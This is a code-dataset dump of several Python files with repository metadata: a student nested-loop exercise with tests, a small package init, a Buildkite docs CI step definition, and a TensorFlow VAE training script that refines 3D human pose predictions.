and the given argument is a sequence of sequences.
"""
# -------------------------------------------------------------------------
# DONE: 6. Implement and test this function.
# Some tests are already written for you (above).
#
# IMPLEMENTATION RESTRICTION:
# ** You may NOT use anything but comparison (==) in judging
# membership. In particular, you may NOT use:
# -- the IN operator
# (example: 7 in [9, 6, 7, 9] returns True)
# -- the COUNT method
# (example: [9, 6, 7, 9].count(9) returns 2)
# -- the INDEX method
# (example: [9, 6, 7, 9, 6, 1].index(6) returns 1)
# in this problem, as doing so would defeat the goal of providing
# practice at loops within loops (within loops within ...)
# -------------------------------------------------------------------------
# answer = seq_seq[0][0]
for i in range(len(seq_seq[0])):
# answer = seq_seq[0][i]
for j in range(1,len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] == seq_seq[0][i]:
return True
return False
# -----------------------------------------------------------------------------
# Calls main to start the ball rolling.
# -----------------------------------------------------------------------------
main()
| 37.908451 | 90 | 0.525543 |
def main():
run_test_largest_number()
run_test_largest_negative_number()
run_test_first_is_elsewhere_too()
def run_test_largest_number():
print()
print('-------------------------------------')
print('Testing the LARGEST_NUMBER function:')
print('-------------------------------------')
expected = 13
answer = largest_number([(3, 1, 4),
(13, 10, 11, 7, 10),
[1, 2, 3, 4]])
print('Expected and actual are:', expected, answer)
expected = -1111111111111111
answer = largest_number(([], [-1111111111111111], []))
print('Expected and actual are:', expected, answer)
expected = None
answer = largest_number(([], [], []))
print('Expected and actual are:', expected, answer)
expected = 21
answer = largest_number(([1,2,3,4,5], [10,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
def largest_number(seq_seq):
max = 'None'
for a in range(len(seq_seq)):
if len(seq_seq[a]) > 0:
max = seq_seq[a][0]
for j in range(len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] > max:
max = seq_seq[j][k]
if max == 'None':
return None
return max
def run_test_largest_negative_number():
print()
print('-------------------------------------------------')
print('Testing the LARGEST_NEGATIVE_NUMBER function:')
print('-------------------------------------------------')
expected = -11
answer = largest_negative_number(([11,2,3,4,5], [-11,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
expected = None
answer = largest_negative_number(([1,2,3,4,5], [10,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
expected = -2
answer = largest_negative_number(([-4,-2,-6,-12,6], [-4,-5,-3,-4,2,5], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
def largest_negative_number(seq_seq):
answer = 'a'
for j in range(len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] <0:
answer = seq_seq[j][k]
if answer == 'a':
return None
for a in range(len(seq_seq)):
for b in range(len(seq_seq[a])):
if seq_seq[a][b] > answer and seq_seq[a][b] <= 0:
answer = seq_seq[a][b]
return answer
def run_test_first_is_elsewhere_too():
print()
print('-------------------------------------')
print('Testing the FIRST_IS_ELSEWHERE_TOO function:')
print('-------------------------------------')
message = {True: 'Your code PASSED this test.\n',
False: 'Your code FAILED this test.\n'}
no_failures = True
expected = True
answer = first_is_elsewhere_too([(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 2, 13, 14]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([[], [1, 2], [1, 2]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([('a', 9),
(13, 10, 11, 7, 'a'),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([('a', 9),
(13, 10, 11, 7, 'aa'),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([('a', 'a', 'b', 'b', 'a', 'b')])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([('a'), (), (), (), ('a')])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([('a'), (), (), (), ('a'), ()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too([('a'), (), (), (), ('b'), ()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too(['hello', 'goodbye'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too(['hello', 'xxxxxxxxxxx'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too(['1234567890',
'one two three',
'i am free',
'four five six',
'get my sticks',
'seven eight nine',
'i am fine'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([(1000 * 'a') + 'b' + (500 * 'a'),
(800 * 'c') + 'd' + 1200 * 'c',
'b'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([(1000 * 'a') + 'b' + (500 * 'a'),
(800 * 'c') + 'd' + 1200 * 'c',
(700 * 'eee') + 'b' + (90 * 'd'),
(800 * 'c') + 'd' + 1200 * 'c'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([(1000 * 'b') + 'acd' + (500 * 'f'),
(800 * '1') + '234a',
'eeee'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
answer = first_is_elsewhere_too([(1000 * 'b') + 'acd' + (500 * 'f'),
'a' + (800 * '1') + '234',
'123'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
test1 = [(1000 * 'b') + 'acd' + (500 * 'f'),
(800 * '1') + '234',
'123']
for k in range(95):
test1.append(k * chr(k))
test2 = []
for k in range(30):
test2.append(k * chr(k))
expected = True
answer = first_is_elsewhere_too(test1 + ['a'] + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = False
answer = first_is_elsewhere_too(test1 + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
expected = True
a_inside = (100 * 'b') + 'a' + (100 * 'b')
answer = first_is_elsewhere_too(test1 + [a_inside] + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
if no_failures:
print('*** Your code PASSED all')
else:
print('!!! Your code FAILED some')
print(' of the tests for first_is_elsewhere_too')
def first_is_elsewhere_too(seq_seq):
for i in range(len(seq_seq[0])):
for j in range(1,len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] == seq_seq[0][i]:
return True
return False
main()
| true | true |
f73c4ddf4bbf332e6dbe27ee3b0f431a5ce22347 | 106 | py | Python | entrogrammer/__init__.py | elbeejay/entrogrammer | 8a927b9bee29c6ac2e1248adc0c7e56d2bb3c276 | [
"MIT"
] | null | null | null | entrogrammer/__init__.py | elbeejay/entrogrammer | 8a927b9bee29c6ac2e1248adc0c7e56d2bb3c276 | [
"MIT"
] | 1 | 2020-11-29T17:03:34.000Z | 2020-11-29T17:03:34.000Z | entrogrammer/__init__.py | elbeejay/entrogrammer | 8a927b9bee29c6ac2e1248adc0c7e56d2bb3c276 | [
"MIT"
] | null | null | null | from . import classifier
from . import core
from . import plot
from . import tools
__version__ = "0.2.0"
| 15.142857 | 24 | 0.726415 | from . import classifier
from . import core
from . import plot
from . import tools
__version__ = "0.2.0"
| true | true |
f73c4eb327f360a32af3682976e2b7cb491a61aa | 1,534 | py | Python | .buildkite/dagster-buildkite/dagster_buildkite/steps/docs.py | clippered/dagster | b064af1e2f948a1a71db4ef929a046cded1f97f4 | [
"Apache-2.0"
] | 4,606 | 2018-06-21T17:45:20.000Z | 2022-03-31T23:39:42.000Z | .buildkite/dagster-buildkite/dagster_buildkite/steps/docs.py | clippered/dagster | b064af1e2f948a1a71db4ef929a046cded1f97f4 | [
"Apache-2.0"
] | 6,221 | 2018-06-12T04:36:01.000Z | 2022-03-31T21:43:05.000Z | .buildkite/dagster-buildkite/dagster_buildkite/steps/docs.py | clippered/dagster | b064af1e2f948a1a71db4ef929a046cded1f97f4 | [
"Apache-2.0"
] | 619 | 2018-08-22T22:43:09.000Z | 2022-03-31T22:48:06.000Z | from typing import List
from ..defines import SupportedPython
from ..step_builder import StepBuilder
def docs_steps() -> List[dict]:
return [
# If this test is failing because you may have either:
# (1) Updated the code that is referenced by a literalinclude in the documentation
# (2) Directly modified the inline snapshot of a literalinclude instead of updating
# the underlying code that the literalinclude is pointing to.
# To fix this, run 'make snapshot' in the /docs directory to update the snapshots.
# Be sure to check the diff to make sure the literalincludes are as you expect them."
StepBuilder("docs code snapshots")
.run("pushd docs; make docs_dev_install; make snapshot", "git diff --exit-code")
.on_integration_image(SupportedPython.V3_7)
.build(),
# Make sure the docs site can build end-to-end.
StepBuilder("docs next")
.run(
"pushd docs/next",
"yarn",
"yarn test",
"yarn build-master",
)
.on_integration_image(SupportedPython.V3_7)
.build(),
# TODO: Yuhan to fix
# StepBuilder("docs sphinx json build")
# .run(
# "pip install -e python_modules/automation",
# "pip install -r docs-requirements.txt -qqq",
# "pushd docs; make build",
# "git diff --exit-code",
# )
# .on_integration_image(SupportedPython.V3_7)
# .build(),
]
| 38.35 | 93 | 0.606258 | from typing import List
from ..defines import SupportedPython
from ..step_builder import StepBuilder
def docs_steps() -> List[dict]:
return [
StepBuilder("docs code snapshots")
.run("pushd docs; make docs_dev_install; make snapshot", "git diff --exit-code")
.on_integration_image(SupportedPython.V3_7)
.build(),
# Make sure the docs site can build end-to-end.
StepBuilder("docs next")
.run(
"pushd docs/next",
"yarn",
"yarn test",
"yarn build-master",
)
.on_integration_image(SupportedPython.V3_7)
.build(),
# TODO: Yuhan to fix
# StepBuilder("docs sphinx json build")
# .run(
# "pip install -e python_modules/automation",
# "pip install -r docs-requirements.txt -qqq",
# "pushd docs; make build",
# "git diff --exit-code",
# )
# .on_integration_image(SupportedPython.V3_7)
# .build(),
]
| true | true |
f73c4ef170d0d140b80bf99c8982a727302927fb | 14,272 | py | Python | src/3d_pose_vae_filter_kin.py | EsauPR/3d-pose-baseline | 2f521fe3008ddee81b666550606f7405efd2f547 | [
"MIT"
] | null | null | null | src/3d_pose_vae_filter_kin.py | EsauPR/3d-pose-baseline | 2f521fe3008ddee81b666550606f7405efd2f547 | [
"MIT"
] | null | null | null | src/3d_pose_vae_filter_kin.py | EsauPR/3d-pose-baseline | 2f521fe3008ddee81b666550606f7405efd2f547 | [
"MIT"
] | null | null | null | """ Train a VAE model used to filter and enhance 3d points """
import json
from datetime import datetime
import matplotlib
import matplotlib.gridspec as gridspec
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
from tqdm import tqdm
import cameras
import data_utils
import viz
from top_vae_3d_pose import data_handler, losses, models
from top_vae_3d_pose.args_def import ENVIRON as ENV
matplotlib.use('Agg')
# matplotlib.use('TkAgg')
# tf.debugging.set_log_device_placement(True)
def to_world(points_3d, key3d, root_pos):
""" Trasform coordenates from camera to world coordenates """
_, _, rcams = data_handler.get_data_params()
n_cams = 4
n_joints_h36m = 32
# Add global position back
points_3d = points_3d + np.tile(root_pos, [1, n_joints_h36m])
# Load the appropriate camera
# key3d = data_handler.get_key3d(key2d)
subj, _, sname = key3d
subj = int(subj)
cname = sname.split('.')[1] # <-- camera name
scams = {(subj, c+1): rcams[(subj, c+1)] for c in range(n_cams)} # cams of this subject
scam_idx = [scams[(subj, c+1)][-1] for c in range(n_cams)].index(cname) # index of camera used
the_cam = scams[(subj, scam_idx+1)] # <-- the camera used
R, T, f, c, k, p, name = the_cam
assert name == cname
def cam2world_centered(data_3d_camframe):
data_3d_worldframe = cameras.camera_to_world_frame(data_3d_camframe.reshape((-1, 3)), R, T)
data_3d_worldframe = data_3d_worldframe.reshape((-1, n_joints_h36m*3))
# subtract root translation
return data_3d_worldframe - np.tile(data_3d_worldframe[:, :3], (1, n_joints_h36m))
# Apply inverse rotation and translation
return cam2world_centered(points_3d)
def gen_sample_img(dataset, model=None, idx=None):
""" Plot 3d poses, real, with noise and decode from vae model if a model is provided
pass 'idx' to select samples otherwise idx will be randomly generated
"""
# select random samples
nsamples = 15
if idx is None:
idx = np.random.choice(dataset.x_data.shape[0], nsamples, replace=False)
x_in = dataset.x_data[idx, :]
y_real = dataset.y_data[idx, :]
y_out = model(x_in.reshape(x_in.shape[0], x_in.shape[1] * x_in.shape[2]), training=False)
# unnormalize data
x_in = [data_utils.unNormalizeData(p3d,
dataset.x_metadata.mean,
dataset.x_metadata.std,
dataset.x_metadata.dim_ignored) for p3d in x_in]
y_real = data_utils.unNormalizeData(y_real,
dataset.y_metadata.mean,
dataset.y_metadata.std,
dataset.y_metadata.dim_ignored)
y_out = data_utils.unNormalizeData(y_out,
dataset.y_metadata.mean,
dataset.y_metadata.std,
dataset.y_metadata.dim_ignored)
if ENV.FLAGS.camera_frame:
keys3d = dataset.mapkeys[idx, :]
root_pos = dataset.y_metadata.root_positions[idx, :]
x_in = np.array([to_world(p3d,
keys3d[i],
root_pos[i])
for i, p3d in enumerate(x_in)])
y_real = np.array([to_world(p3d.reshape((1, -1)), keys3d[i],
root_pos[i][-1].reshape((1, 3)))[0]
for i, p3d in enumerate(y_real)])
y_out = np.array([to_world(p3d.reshape((1, -1)), keys3d[i],
root_pos[i][-1].reshape((1, 3)))[0]
for i, p3d in enumerate(y_out)])
# 1080p = 1,920 x 1,080
fig = plt.figure(figsize=(19.2, 10.8))
gs1 = gridspec.GridSpec(5, 6*3) # 5 rows, 18 columns
gs1.update(wspace=-0.00, hspace=0.05) # set the spacing between axes.
plt.axis('off')
subplot_idx, exidx = 0, 0
for _ in np.arange(nsamples):
# Sequence
for pt3d in x_in[exidx]:
# Plot 3d gt
ax2 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = pt3d
viz.show3Dpose(p3d, ax2)
subplot_idx += 1
# Plot 3d predictions
ax3 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = y_out[exidx, :]
viz.show3Dpose(p3d, ax3, lcolor="#9b59b6", rcolor="#2ecc71")
subplot_idx += 1
# Plot 3d real
ax4 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = y_real[exidx, :]
viz.show3Dpose(p3d, ax4, lcolor="#9b59b6", rcolor="#2ecc71")
subplot_idx += 1
exidx = exidx + 1
file_name = "imgs/vae_concat_seq/%s.png" % datetime.utcnow().isoformat()
plt.savefig(file_name)
print("Saved samples on: %s" % file_name)
# plt.show()
plt.close()
def get_optimizer():
""" Returns the optimizer required by flags """
if ENV.FLAGS.optimizer == 'adam':
return tf.keras.optimizers.Adam(ENV.FLAGS.learning_rate)
if ENV.FLAGS.optimizer == 'rmsprop':
return tf.keras.optimizers.RMSprop(ENV.FLAGS.learning_rate)
raise Exception('Optimizer not found: %s' % ENV.FLAGS.optimizer)
@tf.function
def train_step_vae(model, x_data, y_data, optimizer):
""" Define a train step """
with tf.GradientTape() as tape:
loss = losses.ELBO.compute_loss(model, x_data, y_data)
gradients = tape.gradient(loss, model.trainable_variables)
optimizer.apply_gradients(zip(gradients, model.trainable_variables))
return loss
def train():
""" Train function """
data_train, data_test = data_handler.load_dataset_3d_seq(seq_len=3)
print("Dataset dims")
print(data_train.x_data.shape, data_train.y_data.shape)
print(data_test.x_data.shape, data_test.y_data.shape)
seq_len, size = data_train.x_data[0].shape
# The Vae model must process the seq as a single concatenate input
model = models.VAE(seq_len*size,
latent_dim=ENV.FLAGS.latent_dim,
enc_dim=ENV.FLAGS.enc_dim,
dec_dim=ENV.FLAGS.dec_dim)
optimizer = get_optimizer()
ckpt = tf.train.Checkpoint(step=tf.Variable(1), optimizer=optimizer, net=model)
manager = tf.train.CheckpointManager(ckpt, './experiments/vae_concat_seq/tf_ckpts', max_to_keep=3)
ckpt.restore(manager.latest_checkpoint)
if manager.latest_checkpoint:
print("Restaurado de {}".format(manager.latest_checkpoint))
else:
print("Inicializando desde cero.")
print("Trainable weights:", len(model.trainable_weights))
# Indexes for sampling
idx = np.random.choice(data_test.x_data.shape[0], 15, replace=False)
# Logs for errors and losses
loss_train_history = []
loss_test_history = []
pred_error_history = []
error_34_history = []
error_3_pred_history = []
for epoch in range(1, ENV.FLAGS.epochs + 1):
print("\nStarting epoch:", epoch)
loss_train = tf.keras.metrics.Mean()
# start_time = time.time()
for step, (x_train, y_train) in enumerate(tqdm(data_train, ascii=True)):
# x_train is a batch of seq of dimentions (batch_size, seq_len, input_size)
batch_size, seq_len, size = x_train.shape
x_train = x_train.reshape(batch_size, seq_len * size)
x_train = data_handler.add_noise(x_train)
step_loss = train_step_vae(model, x_train, y_train, optimizer)
loss_train(step_loss)
if step % ENV.FLAGS.step_log == 0:
ltp = tf.math.reduce_mean(step_loss)
tqdm.write(" Training loss at step %d: %.4f" % (step, ltp))
tqdm.write(" Seen : %s samples" % ((step + 1) * ENV.FLAGS.batch_size))
# end_time = time.time()
loss_train_history.append(loss_train.result())
print("Evaluation on Test data...")
loss_test = tf.keras.metrics.Mean()
pred_error = tf.keras.metrics.Mean()
error_34 = tf.keras.metrics.Mean()
error_3_pred = tf.keras.metrics.Mean()
error_2_pred = tf.keras.metrics.Mean()
error_1_pred = tf.keras.metrics.Mean()
for x_test, y_test in tqdm(data_test, ascii=True):
# x_test is a batch of seq of dimentions (batch_size, seq_len, input_size)
batch_size, seq_len, size = x_test.shape
y_test = x_test[:, 2, :]
x_test3 = x_test[:, 1, :]
x_test2 = x_test[:, 0, :]
# x_test1 = x_test[:, 0, :]
x_test = x_test.reshape(batch_size, seq_len * size)
loss_test(losses.ELBO.compute_loss(model, x_test, y_test))
preds = model(x_test, training=False)
pred_error(losses.ELBO.compute_pred_error(y_test, preds))
error_34(losses.ELBO.compute_pred_error(x_test3, y_test))
error_3_pred(losses.ELBO.compute_pred_error(x_test3, preds))
error_2_pred(losses.ELBO.compute_pred_error(x_test2, preds))
# error_1_pred(losses.ELBO.compute_pred_error(x_test1, preds))
loss_test_history.append(loss_test.result())
pred_error_history.append(pred_error.result())
error_34_history.append(error_34.result())
error_3_pred_history.append(error_3_pred.result())
print('Epoch: {}, Test set ELBO: {}'.format(epoch, loss_test_history[-1]))
print('Epoch: {}, Error frame 2 vs 3: {}'.format(epoch, error_34_history[-1]))
print('Epoch: {}, Prediction Error: {}'.format(epoch, pred_error_history[-1]))
print('Epoch: {}, Error frame 2 vs pred: {}'.format(epoch, error_3_pred_history[-1]))
print('Epoch: {}, Error frame 1 vs pred: {}'.format(epoch, error_2_pred.result()))
# print('Epoch: {}, Error frame 1 vs pred: {}'.format(epoch, error_1_pred.result()))
tf.print('\nSaving samples...')
gen_sample_img(data_test, model=model, idx=idx)
# Reset data for next epoch
data_train.on_epoch_end()
data_test.on_epoch_end(avoid_suffle=True)
ckpt.step.assign_add(1)
save_path = manager.save()
print("Checkpoint saved: {}".format(save_path))
data_handler.plot_history([('Train Loss', loss_train_history),
('Test Loss', loss_test_history)],
xlabel='Epochs',
ylabel='Loss',
fname='loss.png')
data_handler.plot_history([('Pred error', pred_error_history),
# ('Frame err 4vs5', error_34_history),
('Frame err 4vsPred', error_3_pred_history)],
xlabel='Epochs',
ylabel='Error',
fname='error.png')
# Save the weights of the las model and the config use to run and train
model.save_weights('./experiments/vae_concat_seq/last_model_weights')
with open('./experiments/vae_concat_seq/train.cfg', 'w') as cfg:
json.dump(vars(ENV.FLAGS), cfg)
data_handler.save_history(loss_train_history, 'train_loss.npy')
data_handler.save_history(loss_test_history, 'test_loss.npy')
def evaluate():
data2d, data3d = data_handler.load_2d_3d_data(return_raw=True)
model_2d23d = models.PoseBase()
# Dummy input for creation for bach normalization weigths
ainput = np.ones((10, 32), dtype=np.float32)
model_2d23d(ainput, training=False)
# Load weights for 2d to 3d prediction
model_2d23d.load_weights('pretrained_models/4874200_PoseBase/PoseBase')
# Load VAE Model
seq_len = 3
human_3d_size = 48
model_vae_kin = models.VAE(seq_len*human_3d_size,
latent_dim=ENV.FLAGS.latent_dim,
enc_dim=ENV.FLAGS.enc_dim,
dec_dim=ENV.FLAGS.dec_dim)
model_vae_kin.load_weights('experiments/vae_concat_seq/last_model_weights')
error_2d_3d = tf.keras.metrics.Mean()
error_vae_kin = tf.keras.metrics.Mean()
noise_log = []
for key2d in tqdm(data2d.test.keys(), ascii=True):
err23d = tf.keras.metrics.Mean()
errvk = tf.keras.metrics.Mean()
tqdm.write("Subject: {}, action: {}, fname: {}".format(*key2d))
key3d = data_handler.get_key3d(key2d)
x_in = data2d.test[key2d]
x_out = data3d.test[key3d]
# Make a batch of size x.shape[0] to start the generation of the buffer
x_in = np.array_split(x_in, x_in.shape[0])
x_out = np.array_split(x_out, x_out.shape[0])
buffer = []
for x_2d, y_3d in tqdm(zip(x_in, x_out), total=len(x_in), ascii=True):
pred_3d = model_2d23d(x_2d, training=False)
if len(buffer) == 0:
# Start the buffer with the same predicion
buffer = [pred_3d[0] for _ in range(seq_len)]
buffer.append(pred_3d[0])
buffer.pop(0)
# print(pred_3d.shape)
# print(buffer)
# print(len(buffer))
vin = np.array([np.concatenate(buffer)])
ref_3d = model_vae_kin(vin, training=False)
# Add the last ref to the buffer
buffer[-1] = ref_3d[0]
err1 = losses.ELBO.compute_pred_error(y_3d, pred_3d)
err2 = losses.ELBO.compute_pred_error(y_3d, ref_3d)
err23d(err1)
errvk(err2)
error_2d_3d(err1)
error_vae_kin(err2)
noise_log.append(err1)
tqdm.write("Err 2d-3d: {}, VAE: {}".format(err23d.result(), errvk.result()))
print("Pred error 2d to 3d:", error_2d_3d.result())
print("Pred error vae filter:", error_vae_kin.result())
print(tf.math.reduce_mean(noise_log))
print(tf.math.reduce_std(noise_log))
print(tf.math.reduce_min(noise_log))
print(tf.math.reduce_max(noise_log))
def main():
""" Main """
with tf.device('/device:GPU:%d' % ENV.FLAGS.gpu_device):
if ENV.FLAGS.evaluate:
evaluate()
else:
train()
if __name__ == "__main__":
ENV.setup()
main()
| 37.756614 | 102 | 0.605802 |
import json
from datetime import datetime
import matplotlib
import matplotlib.gridspec as gridspec
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
from tqdm import tqdm
import cameras
import data_utils
import viz
from top_vae_3d_pose import data_handler, losses, models
from top_vae_3d_pose.args_def import ENVIRON as ENV
matplotlib.use('Agg')
def to_world(points_3d, key3d, root_pos):
_, _, rcams = data_handler.get_data_params()
n_cams = 4
n_joints_h36m = 32
points_3d = points_3d + np.tile(root_pos, [1, n_joints_h36m])
subj, _, sname = key3d
subj = int(subj)
cname = sname.split('.')[1]
scams = {(subj, c+1): rcams[(subj, c+1)] for c in range(n_cams)}
scam_idx = [scams[(subj, c+1)][-1] for c in range(n_cams)].index(cname)
the_cam = scams[(subj, scam_idx+1)]
R, T, f, c, k, p, name = the_cam
assert name == cname
def cam2world_centered(data_3d_camframe):
data_3d_worldframe = cameras.camera_to_world_frame(data_3d_camframe.reshape((-1, 3)), R, T)
data_3d_worldframe = data_3d_worldframe.reshape((-1, n_joints_h36m*3))
return data_3d_worldframe - np.tile(data_3d_worldframe[:, :3], (1, n_joints_h36m))
return cam2world_centered(points_3d)
def gen_sample_img(dataset, model=None, idx=None):
nsamples = 15
if idx is None:
idx = np.random.choice(dataset.x_data.shape[0], nsamples, replace=False)
x_in = dataset.x_data[idx, :]
y_real = dataset.y_data[idx, :]
y_out = model(x_in.reshape(x_in.shape[0], x_in.shape[1] * x_in.shape[2]), training=False)
x_in = [data_utils.unNormalizeData(p3d,
dataset.x_metadata.mean,
dataset.x_metadata.std,
dataset.x_metadata.dim_ignored) for p3d in x_in]
y_real = data_utils.unNormalizeData(y_real,
dataset.y_metadata.mean,
dataset.y_metadata.std,
dataset.y_metadata.dim_ignored)
y_out = data_utils.unNormalizeData(y_out,
dataset.y_metadata.mean,
dataset.y_metadata.std,
dataset.y_metadata.dim_ignored)
if ENV.FLAGS.camera_frame:
keys3d = dataset.mapkeys[idx, :]
root_pos = dataset.y_metadata.root_positions[idx, :]
x_in = np.array([to_world(p3d,
keys3d[i],
root_pos[i])
for i, p3d in enumerate(x_in)])
y_real = np.array([to_world(p3d.reshape((1, -1)), keys3d[i],
root_pos[i][-1].reshape((1, 3)))[0]
for i, p3d in enumerate(y_real)])
y_out = np.array([to_world(p3d.reshape((1, -1)), keys3d[i],
root_pos[i][-1].reshape((1, 3)))[0]
for i, p3d in enumerate(y_out)])
fig = plt.figure(figsize=(19.2, 10.8))
gs1 = gridspec.GridSpec(5, 6*3)
gs1.update(wspace=-0.00, hspace=0.05)
plt.axis('off')
subplot_idx, exidx = 0, 0
for _ in np.arange(nsamples):
for pt3d in x_in[exidx]:
ax2 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = pt3d
viz.show3Dpose(p3d, ax2)
subplot_idx += 1
ax3 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = y_out[exidx, :]
viz.show3Dpose(p3d, ax3, lcolor="#9b59b6", rcolor="#2ecc71")
subplot_idx += 1
ax4 = plt.subplot(gs1[subplot_idx], projection='3d')
p3d = y_real[exidx, :]
viz.show3Dpose(p3d, ax4, lcolor="#9b59b6", rcolor="#2ecc71")
subplot_idx += 1
exidx = exidx + 1
file_name = "imgs/vae_concat_seq/%s.png" % datetime.utcnow().isoformat()
plt.savefig(file_name)
print("Saved samples on: %s" % file_name)
plt.close()
def get_optimizer():
if ENV.FLAGS.optimizer == 'adam':
return tf.keras.optimizers.Adam(ENV.FLAGS.learning_rate)
if ENV.FLAGS.optimizer == 'rmsprop':
return tf.keras.optimizers.RMSprop(ENV.FLAGS.learning_rate)
raise Exception('Optimizer not found: %s' % ENV.FLAGS.optimizer)
@tf.function
def train_step_vae(model, x_data, y_data, optimizer):
with tf.GradientTape() as tape:
loss = losses.ELBO.compute_loss(model, x_data, y_data)
gradients = tape.gradient(loss, model.trainable_variables)
optimizer.apply_gradients(zip(gradients, model.trainable_variables))
return loss
def train():
data_train, data_test = data_handler.load_dataset_3d_seq(seq_len=3)
print("Dataset dims")
print(data_train.x_data.shape, data_train.y_data.shape)
print(data_test.x_data.shape, data_test.y_data.shape)
seq_len, size = data_train.x_data[0].shape
model = models.VAE(seq_len*size,
latent_dim=ENV.FLAGS.latent_dim,
enc_dim=ENV.FLAGS.enc_dim,
dec_dim=ENV.FLAGS.dec_dim)
optimizer = get_optimizer()
ckpt = tf.train.Checkpoint(step=tf.Variable(1), optimizer=optimizer, net=model)
manager = tf.train.CheckpointManager(ckpt, './experiments/vae_concat_seq/tf_ckpts', max_to_keep=3)
ckpt.restore(manager.latest_checkpoint)
if manager.latest_checkpoint:
print("Restaurado de {}".format(manager.latest_checkpoint))
else:
print("Inicializando desde cero.")
print("Trainable weights:", len(model.trainable_weights))
idx = np.random.choice(data_test.x_data.shape[0], 15, replace=False)
loss_train_history = []
loss_test_history = []
pred_error_history = []
error_34_history = []
error_3_pred_history = []
for epoch in range(1, ENV.FLAGS.epochs + 1):
print("\nStarting epoch:", epoch)
loss_train = tf.keras.metrics.Mean()
for step, (x_train, y_train) in enumerate(tqdm(data_train, ascii=True)):
batch_size, seq_len, size = x_train.shape
x_train = x_train.reshape(batch_size, seq_len * size)
x_train = data_handler.add_noise(x_train)
step_loss = train_step_vae(model, x_train, y_train, optimizer)
loss_train(step_loss)
if step % ENV.FLAGS.step_log == 0:
ltp = tf.math.reduce_mean(step_loss)
tqdm.write(" Training loss at step %d: %.4f" % (step, ltp))
tqdm.write(" Seen : %s samples" % ((step + 1) * ENV.FLAGS.batch_size))
loss_train_history.append(loss_train.result())
print("Evaluation on Test data...")
loss_test = tf.keras.metrics.Mean()
pred_error = tf.keras.metrics.Mean()
error_34 = tf.keras.metrics.Mean()
error_3_pred = tf.keras.metrics.Mean()
error_2_pred = tf.keras.metrics.Mean()
error_1_pred = tf.keras.metrics.Mean()
for x_test, y_test in tqdm(data_test, ascii=True):
batch_size, seq_len, size = x_test.shape
y_test = x_test[:, 2, :]
x_test3 = x_test[:, 1, :]
x_test2 = x_test[:, 0, :]
x_test = x_test.reshape(batch_size, seq_len * size)
loss_test(losses.ELBO.compute_loss(model, x_test, y_test))
preds = model(x_test, training=False)
pred_error(losses.ELBO.compute_pred_error(y_test, preds))
error_34(losses.ELBO.compute_pred_error(x_test3, y_test))
error_3_pred(losses.ELBO.compute_pred_error(x_test3, preds))
error_2_pred(losses.ELBO.compute_pred_error(x_test2, preds))
loss_test_history.append(loss_test.result())
pred_error_history.append(pred_error.result())
error_34_history.append(error_34.result())
error_3_pred_history.append(error_3_pred.result())
print('Epoch: {}, Test set ELBO: {}'.format(epoch, loss_test_history[-1]))
print('Epoch: {}, Error frame 2 vs 3: {}'.format(epoch, error_34_history[-1]))
print('Epoch: {}, Prediction Error: {}'.format(epoch, pred_error_history[-1]))
print('Epoch: {}, Error frame 2 vs pred: {}'.format(epoch, error_3_pred_history[-1]))
